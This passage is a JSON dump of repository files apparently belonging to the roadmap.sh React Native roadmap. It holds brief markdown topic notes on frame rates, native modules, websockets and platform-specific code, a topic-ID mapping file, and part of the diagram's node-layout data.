    "content": "# Understand Frame Rates\n\nFrame rates represent the number of frames (or images) displayed per second in an animation or video. The performance of a React Native application can be highly impacted by the frame rate, so it is important to optimize your application for the best possible user experience. Higher frame rates provide smoother animations, but may require more system resources. To achieve the desired frame rate, the application should ensure that each frame is computed and rendered within the time budget.\n\nTo achieve high frame rates and smooth animations, developers can utilize the `Animated` library, which offers methods and components for efficient animation management. For instance, the library allows for declarative animation definitions, minimizes unnecessary render cycles, and enables the use of the native driver to offload animations from the JavaScript thread. By adhering to best practices and leveraging the `Animated` library, developers can enhance their React Native applications' performance and deliver high-quality animations."
  },
  {
    "path": "src/data/roadmaps/react-native/content/using-native-modules@0BMpZDc-1rSvETwX82zON.md",
    "content": "# Using Native Modules\n\nSometimes a React Native app needs to access a native platform API that is not available by default in JavaScript, for example the native APIs to access Apple or Google Pay. Maybe you want to reuse some existing Objective-C, Swift, Java or C++ libraries without having to reimplement it in JavaScript, or write some high performance, multi-threaded code for things like image processing.\n\nThe NativeModule system exposes instances of Java/Objective-C/C++ (native) classes to JavaScript (JS) as JS objects, thereby allowing you to execute arbitrary native code from within JS. While we don't expect this feature to be part of the usual development process, it is essential that it exists. If React Native doesn't export a native API that your JS app needs you should be able to export it yourself!\n\nVisit the following resources to learn more:\n\n- [@official@Native Modules Introduction](https://reactnative.dev/docs/native-platform)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/view@GrFL32pZ_eOmdJRzSlH8b.md",
    "content": "# View"
  },
  {
    "path": "src/data/roadmaps/react-native/content/websockets@aSCgax1M4wlmzkJSZV_fv.md",
    "content": "# Websockets\n\nWebSockets are a protocol that allows full-duplex communication between a client and a server over a single, long-lived connection. They are useful when real-time communication is needed, such as in chat applications, online gaming, or financial trading platforms.\n\nVisit the following resources to learn more:\n\n- [@article@The WebSocket API (WebSockets) - Web APIs](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/what-is-react-native@cMfsRtvzvDZZJ0TqeUOxm.md",
    "content": "# React Native\n\nReact Native is a popular open-source framework developed by Facebook for building mobile applications using JavaScript (or TypeScript) and React. It enables developers to build native mobile apps for iOS and Android platforms using a single codebase, which significantly speeds up development without compromising on the performance and usability of the apps.\n\nWith React Native, you write components with JSX, a syntax that combines JavaScript and XML. These components can map to native UI elements like views, text, images, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with React Native](https://reactnative.dev/docs/getting-started)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/why-use-react-native@2rlmLn_yQQV-7DpX1qT98.md",
    "content": "# Why React Native?\n\nReact Native is a popular framework for developing native mobile applications using JavaScript (or TypeScript) and React, offering several compelling advantages for mobile app development. Key benefits include **code reusability**, allowing developers to share a significant portion of the codebase between iOS and Android, which reduces development time and simplifies maintenance. It leverages **familiar React concepts**, making it accessible for those already experienced with ReactJS, as it applies similar principles of components and state management. React Native provides **near-native performance** by directly interacting with native components, avoiding intermediaries like WebView. The framework benefits from a **vast ecosystem** and community support, with numerous libraries and tools that enhance the development process, bolstered by contributions from major companies like Facebook. Additionally, **hot reloading** enables developers to see code changes in real-time on devices or emulators, streamlining the development workflow. Finally, React Native can be **integrated into existing applications**, allowing for flexible enhancements to specific parts of an app.\n\nVisit the following resources to learn more:\n\n- [@article@Why You Should Choose React Native?](https://www.geeksforgeeks.org/why-you-should-choose-react-native/)\n- [@article@React Native: What is it? and, Why is it used?](https://medium.com/@thinkwik/react-native-what-is-it-and-why-is-it-used-b132c3581df)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/writing-platform-specific-code@HiUbRfOv8OttFd85pDUHN.md",
    "content": "# Platform Specific Code\n\nIn React Native, managing platform-specific code for iOS and Android is essential for addressing differences in application behavior and appearance. This can be achieved in two primary ways: using the `Platform` module, which allows developers to detect the current platform and apply conditional styles or logic accordingly, as demonstrated by using `Platform.select` to set different background colors for iOS and Android; and utilizing file extensions like `.ios.js` and `.android.js`, which enables React Native to automatically load the appropriate file based on the platform. For instance, if you have `Header.ios.js` and `Header.android.js`, importing the `Header` component will automatically reference the correct file for the running platform, streamlining the development process.\n\nVisit the following resources to learn more:\n\n- [@official@Platform-Specific Code](https://reactnative.dev/docs/platform-specific-code)\n- [@official@App Extensions](https://reactnative.dev/docs/app-extensions)"
  },
  {
    "path": "src/data/roadmaps/react-native/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/react-native/migration-mapping.json",
    "content": "{\n  \"introduction\": \"JfXwzkN29UGz17FYHHE3A\",\n  \"introduction:what-is-react-native\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n  \"introduction:why-react-native\": \"2rlmLn_yQQV-7DpX1qT98\",\n  \"introduction:react-native-alternatives\": \"ODQ8zrHc2rsc8PN-APKvz\",\n  \"pre-requisites\": \"cSXsu17F1Oy34Wp6J-N3C\",\n  \"pre-requisites:javascript\": \"1oUJXtHGQ29ZZU9sxwGo2\",\n  \"pre-requisites:css\": \"SnF3xtzBh-x4Z_qUQUg7H\",\n  \"pre-requisites:react:components\": \"k9_hVOBd9ZmC4HLuAf46v\",\n  \"pre-requisites:react:state\": \"V7r1Hqk9IXTfjkjAg7-BT\",\n  \"pre-requisites:react:props\": \"0gH7vI_Hy7s9hO2TF6hR3\",\n  \"pre-requisites:react:jsx\": \"s5YKenJY2Xv_PZBSxegEm\",\n  \"environment-setup\": \"lNmddXrT8IHVtWobh3-oq\",\n  \"environment-setup:react-native-cli\": \"bxWLf0RDAl9Zaczkon9Rl\",\n  \"environment-setup:metro-bundler\": \"VhSEH_RoWFt1z2lial7xZ\",\n  \"environment-setup:expo\": \"yW7nDDJbjmm8XKJI0hq3Q\",\n  \"environment-setup:expo:create-expo-app\": \"uLH9eo2G09wGO80XtFI5x\",\n  \"environment-setup:expo:expo-snack\": \"9eOwhh2k59nvH-ztuDNjg\",\n  \"environment-setup:expo:expo-tradeoffs\": \"zzOyoDcAQYkNNv07TIKeZ\",\n  \"development-workflow\": \"T4AhL9Zls2iNZMituGdtl\",\n  \"development-workflow:running-on-device\": \"KyKMZ8Aa5XUAIWelGTiSt\",\n  \"development-workflow:debugging:dev-menu\": \"tOt_vvmnBtOUbgokmVa5P\",\n  \"development-workflow:debugging:fast-refresh\": \"wWwaEdnvBsvj6jD9LJ4Jj\",\n  \"development-workflow:debugging:logbox\": \"Tz-bRjQVkZedphelhAlWM\",\n  \"development-workflow:debugging:sourcemaps\": \"Dq490IqEJXoFZRnBFJI8N\",\n  \"development-workflow:debugging:devtools\": \"HHx3VSfV7xf6RqACrxjBf\",\n  \"core-components\": \"fnujIq6QAFB6bmTisuZ3T\",\n  \"core-components:text\": \"OFhyYyxtrCBy_UUb5YBv5\",\n  \"core-components:text-input\": \"Frz1RYp3y9OwRb-3t2e85\",\n  \"core-components:button\": \"kkH9H9Qh1FD7sLItoWw69\",\n  \"core-components:image\": \"E7N8tSg2amZW-vc-X46JU\",\n  \"core-components:image-background\": \"GFGhnx5xUer2DdRI-SO4D\",\n  \"core-components:switch\": \"ouNTekf4VpZv-Vja8_bfM\",\n  \"core-components:status-bar\": \"QOOZs9qtz49agfZwi6k1B\",\n  \"core-components:activity-indicator\": \"hHFR59RrdMIWxcQe72qCs\",\n  \"core-components:modal\": \"V34mZCkpoT49o-74XoATS\",\n  \"core-components:pressable\": \"4BgVq-cZYEXgqktvlNnet\",\n  \"core-components:view\": \"GrFL32pZ_eOmdJRzSlH8b\",\n  \"core-components:view:safe-area-view\": \"UqCpoPzYio3ng3RFlbvZ7\",\n  \"core-components:view:keyboard-avoiding-view\": \"8bn1PFd9h0ek6_T-cl1cS\",\n  \"core-components:listings\": \"x-OZCZcX6uhN3Yr5BAATn\",\n  \"core-components:listings:scroll-view\": \"yN283SRWoALOEZh9iTn-L\",\n  \"core-components:listings:list-views\": \"h3ypxGxeHDCTxURHg6D2d\",\n  \"core-components:listings:refresh-control\": \"m8Nu71Y61Ha_fLxdtWTkn\",\n  \"core-components:listings:list-views:flat-list\": \"CYqLNGyOe9f9hVhbyUnTX\",\n  \"core-components:listings:list-views:section-list\": \"gLJMD9X7chy8OxdALht8g\",\n  \"platform-specific-code\": \"HiUbRfOv8OttFd85pDUHN\",\n  \"platform-specific-code:platform-module\": \"KZIrRSYq_I-YzpFaYLuWi\",\n  \"platform-specific-code:file-extensions\": \"LLANnVosxOUCPTtuBfNgu\",\n  \"platform-specific-code:react-native-web\": \"UQpyXrC2cs_jDXxVTlQOu\",\n  \"styling\": \"ervpuL89myBW3oR9r-4lH\",\n  \"styling:stylesheets\": \"wB0D9koC6jpt1rzX8F07F\",\n  \"styling:layouts\": \"e-r3tuRZ3PzhFegES0oOm\",\n  \"styling:accessibility\": \"KoXTwQUqPt_ZhOFuaelny\",\n  \"networking\": \"7GBV5sfOaGxHwpkNUvFWE\",\n  \"networking:connectivity\": \"k7uVPyhbPgvO6HxAfxxYZ\",\n  \"networking:fetch\": \"f7KFPFS2-EA90pumYHM9T\",\n  \"networking:websockets\": \"aSCgax1M4wlmzkJSZV_fv\",\n  \"push-notifications\": \"CAQJaGs24wx1SqKOU44aB\",\n  \"interactions\": \"GYdz9a1yLiewAeMRSyfLr\",\n  \"interactions:touchables\": \"A7ZIe8nlQnHU5g3LM3Eif\",\n  \"interactions:gesture\": \"xf7L5J42yQq3LE7lG2plp\",\n  \"interactions:scrolling-swiping\": \"nk6zdVNRz_xE71mVUOFsi\",\n  \"interactions:screen-navigation\": \"Jr2iuQqyCbx6CyTJj4Qz2\",\n  \"interactions:animations\": \"3NLcPO-hqQV1EacoPLVrv\",\n  \"deep-linking\": \"dckRzKDKj-mLB3-OxwjPh\",\n  \"security\": \"CGtVwhVGc8Vea5RfzJvQG\",\n  \"security:authentication\": \"LRBHwYiT0Yyi18PwR49rc\",\n  \"security:networking\": \"ee4QqFTosXNcTgoQIok8i\",\n  \"security:storage\": \"NdjmP1bZNYriV08vb-iRw\",\n  \"storage\": \"w0WW1kg_0BEMeLa1l2gb5\",\n  \"storage:other-storage-options\": \"vZMsm-MtsqmQMD-MG6zJY\",\n  \"storage:async-storage\": \"WsJGiMjHSQ6MpPd5wuP9h\",\n  \"storage:expo-secure-store\": \"JgBfwmOgcVi_a96L5NGwr\",\n  \"storage:expo-file-system\": \"9pvrXH5Drdsa1cr93UBdc\",\n  \"storage:expo-sqlite\": \"oK8z23a_CjcDjBJ843_Jn\",\n  \"testing\": \"G15Aey-Spax_iUHpm1v38\",\n  \"testing:jest\": \"06gsRokwjxVa2xyLY4qAb\",\n  \"testing:react-test-renderer\": \"81tmis0km2h1zsjS2HsP5\",\n  \"testing:react-native-testing-library\": \"-b4LfjCjkSZ6ZsSv3eFm6\",\n  \"testing:detox\": \"3m7ANLJvtx3zie4y86MNU\",\n  \"testing:appium\": \"spTzJMS7cE0cNa7tVQhVQ\",\n  \"performance\": \"NIJzKzWlsciAjxUpm4K2v\",\n  \"performance:frame-rates\": \"1U3AiCDWEVEKsofWtqavi\",\n  \"performance:common-problem-sources\": \"afwB90L-q2hIwrA0LtWbG\",\n  \"performance:speeding-up-builds\": \"LL2ZkB7BuELyY2mPQhkAj\",\n  \"performance:optimizing-flatlist-config\": \"PyPjHnKIWpnFHal8RuSmX\",\n  \"performance:ram-bundles\": \"u5I-EOnA_yt6AQsRX-qr0\",\n  \"performance:profiling\": \"apXv-E6LvOuOMj3EpzwuA\",\n  \"using-native-modules\": \"0BMpZDc-1rSvETwX82zON\",\n  \"using-native-modules:for-ios\": \"b-1-JcwLSGMyH3gXS59lY\",\n  \"using-native-modules:for-android\": \"wMxTB8WgU6e-oYMtQFCDY\",\n  \"publishing-apps\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n  \"publishing-apps:app-store\": \"1s9Y1dUtjpW9pu74ipX99\",\n  \"publishing-apps:google-store\": \"D8T9cZ5zKi_KZDr9tDpCf\"\n}"
  },
  {
    "path": "src/data/roadmaps/react-native/react-native.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -123.1381872719935,\n        \"y\": 2573.2541881503926\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -123.1381872719935,\n        \"y\": 2573.2541881503926\n      }\n    },\n    {\n      \"id\": \"zxa5bbXMLJsCgurI0zsRy\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -549.1381872719935,\n        \"y\": 2123.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -549.1381872719935,\n        \"y\": 2123.4007482223487\n      }\n    },\n    {\n      \"id\": \"3M-KXd4R-NzZV__UgxDPU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -666.615904405851,\n        \"y\": 2123.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"zxa5bbXMLJsCgurI0zsRy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -666.615904405851,\n        \"y\": 2123.4007482223487\n      }\n    },\n    {\n      \"id\": \"tR7FOWmBDYg6bn5d4YHzd\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -140.1381872719935,\n        \"y\": 1846.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 167\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -140.1381872719935,\n        \"y\": 1846.9007482223487\n      }\n    },\n    {\n      \"id\": \"hJobfOyzU-1jqdExFilz7\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 24.861812728006498,\n        \"y\": 1846.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 167\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 24.861812728006498,\n        \"y\": 1846.9007482223487\n      }\n    },\n    {\n      \"id\": \"noLJjbjKyQ4AWA4TuB6-6\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -442.228964418254,\n        \"y\": 1773.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 74,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -442.228964418254,\n        \"y\": 1773.9007482223487\n      }\n    },\n    {\n      \"id\": \"Bv-5PX8sSIddQmKtC0NQ-\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -712.1381872719935,\n        \"y\": 1687.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 228\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -712.1381872719935,\n        \"y\": 1687.9007482223487\n      }\n    },\n    {\n      \"id\": \"OMgqmjh8qyBUDugU8QkTL\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 264.3618127280065,\n        \"y\": 1441.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 113\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 264.3618127280065,\n        \"y\": 1441.4007482223487\n      }\n    },\n    {\n      \"id\": \"86YH9wi6fZcj_lT98sTwy\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -215.3175069304428,\n        \"y\": 1145.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 89\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -215.3175069304428,\n        \"y\": 1145.9007482223487\n      }\n    },\n    {\n      \"id\": \"Lx-z0hK9WMcfS4lGiSD1M\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -215.3175069304428,\n        \"y\": 932.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"86YH9wi6fZcj_lT98sTwy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 205\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -215.3175069304428,\n        \"y\": 932.9007482223487\n      }\n    },\n    {\n      \"id\": \"N4wQuEYhAU9DGQJmV1f25\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -515.6381872719935,\n        \"y\": 919.9393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 115\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -515.6381872719935,\n        \"y\": 919.9393516042962\n      }\n    },\n    {\n      \"id\": \"pGSRxZZEutXQu1nncm9Uy\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 1077.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 97\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 1077.9007482223487\n      }\n    },\n    {\n      \"id\": \"9Pl9DKvoT0mpnc_6MUxVi\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -126.22896441825404,\n        \"y\": 739.9393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 180\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -126.22896441825404,\n        \"y\": 739.9393516042962\n      }\n    },\n    {\n      \"id\": \"ZMHUVvTmbR_OmXTs1k0Sf\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 572.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 271\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 572.9007482223487\n      }\n    },\n    {\n      \"id\": \"Ikohtpq5aBCkJ6-73aaN4\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 41.3618127280065,\n        \"y\": 426.40074822234874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 204\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.3618127280065,\n        \"y\": 426.40074822234874\n      }\n    },\n    {\n      \"id\": \"YcjFInaeQBknkTUfpgaYk\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -708.6381872719935,\n        \"y\": 244.90074822234874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 167\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -708.6381872719935,\n        \"y\": 244.90074822234874\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -307.3175069304428,\n        \"y\": -38.879087788307686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"React Native\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 204,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -307.3175069304428,\n        \"y\": -38.879087788307686\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -215.3175069304428,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -215.3175069304428,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 137.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      